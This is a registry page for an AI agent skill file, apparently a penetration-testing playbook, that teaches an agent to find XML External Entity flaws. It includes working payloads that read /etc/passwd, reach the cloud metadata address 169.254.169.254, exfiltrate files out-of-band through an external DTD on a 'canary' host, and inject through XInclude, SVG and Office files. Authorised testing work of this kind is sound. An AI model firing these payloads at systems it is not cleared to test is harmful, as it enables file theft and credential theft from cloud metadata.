agentleFS
fennihfennih/hunterkit/xxe/SKILL.md

xxe

Skill0 starsChanged 6 days agoMITView on GitHub

Focused hunt for XML External Entity injection: file read, SSRF via XXE, blind OOB exfiltration, XInclude, and XXE in SVG/DOCX/XLSX/SSRF-style parsers. Use when the target accepts XML input or parses document files. Not for general SSRF over HTTP params (use ssrf) or plain file upload bypasses (use file-upload).

8 other projects use a version of this.

Adopted by

Most recently taken up by

Used with

Projects with it also use csrf, command-injection and 5 more.

Other files people use alongside this one.

Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
  • langbyyiSkill

    csrf

    CSRF testing playbook. Use when reviewing state-changing web flows, anti-CSRF defenses, SameSite behavior, JSON CSRF, login CSRF, and OAuth state handling.

    Also in 4 projects that use this

  • langbyyiSkill

    command-injection

    Command injection playbook. Use when user input may reach shell commands, process execution, converters, import pipelines, or blind out-of-band command sinks.

    Also in 3 projects that use this

  • yaklangSkill

    nosql-injection

    NoSQL injection playbook. Use when MongoDB-style operators, JSON query objects, flexible search filters, or backend query DSLs may allow data or logic abuse.

    Also in 3 projects that use this

  • yaklangSkill

    prototype-pollution

    Prototype pollution testing for JavaScript stacks. Use when user input is merged into objects (query parsers, JSON bodies, deep assign), when configuring libraries via untrusted keys, or when hunting RCE gadgets via polluted Object.prototype in Node or the browser.

    Also in 3 projects that use this

  • iAskShahramSkill

    file-upload

    Uploads a local file to Cloudflare R2 bucket `public` with wrangler and returns the public URL on assets.shahram.dev. Use when the user wants a public link, public URL, or to host/upload a local image or file to R2.

    Also in 3 projects that use this

  • +2 more from langbyyi

The file

We split this skill into the rules it gives an agent

1 rule. 0 are common, 0 are distinctive, and 1 is very specific to this project.

  • 0

    Common

    Most of the 7 edited versions we read keep these.

  • 0

    Distinctive

    This author's own choices. Worth a look.

  • 1

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Very specific:

    If test replaces &xxe;, entity processing is on.

    line 33

“Common” is measured: kept by at least 6 in 10 of the 7 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

XXE

When to use

  • "Hunt XXE on X", "test the XML/SOAP/Import endpoint of X"
  • Inputs: XML APIs, SOAP, SAML (XML!), SVG uploads, DOCX/XLSX/ODT parsers, RSS/Atom importers, XML-RPC

When NOT to use

  • Plain HTTP-param SSRF (ssrf), upload content-type bypasses (file-upload)

Inputs

  • Target + XML/document input points; a canary endpoint for OOB

Rationalizations to reject

  • "Entity resolved (no error)" — resolution is not a finding. You need file content in the response, an OOB hit, or an error proving external resolution.
  • "The parser is modern so XXE is impossible" — test it; many stacks keep DTD processing on (Java defaults!).

Methodology

1. Probe DTD processing

Submit well-formed XML with an internal entity and check acceptance:

<!DOCTYPE foo [<!ENTITY xxe "test">]><root>&xxe;</root>

If test replaces &xxe;, entity processing is on.

2. File read

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>
  • Windows: file:///c:/windows/win.ini.
  • Error-based variant if no reflection: reference an entity in a place the parser reports (<!ENTITY xxe SYSTEM "file:///nonexistent"> → error may include content).
  • Java: try jar:, netdoc: schemes; list dirs via file:///dir/ on some parsers.

3. SSRF via XXE

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> 

Same targets as ssrf (metadata, internal hosts). Report reachability; credential use rules from ssrf apply.

4. Blind OOB

External DTD on your canary host:

<!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://canary/oob.dtd"> %dtd;]>

With oob.dtd defining %file (read target) and a send-back entity channel (%all; pattern, FTP/HTTP to canary with content). One clean exfil of a small file = proof.

5. Document formats

  • SVG upload → <external-entity> or <xi:include> inside (also XSS lead via <script> in SVG).
  • DOCX/XLSX/ODT: [Content_Types].xml or document XML with entity; re-zip and upload.
  • XInclude: if you can't control the root DOCTYPE but can inject an element:
<foo><xi:include xmlns:xi="http://www.w3.org/2001/XInclude" parse="text" href="file:///etc/passwd"/></foo>
  • SAML responses (if you control the IdP side or response is malleable) — classic XXE ground.

Reporting

findings/xxe-<date>.md. File read = high; SSRF/metadata via XXE = high (per ssrf rules); blind OOB only = medium unless data exfiltrated.

Focus discipline

Command execution via DTD (rare, e.g. expect://) → lead for cmd-injection. SVG with <script> rendering in browser → xss.

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.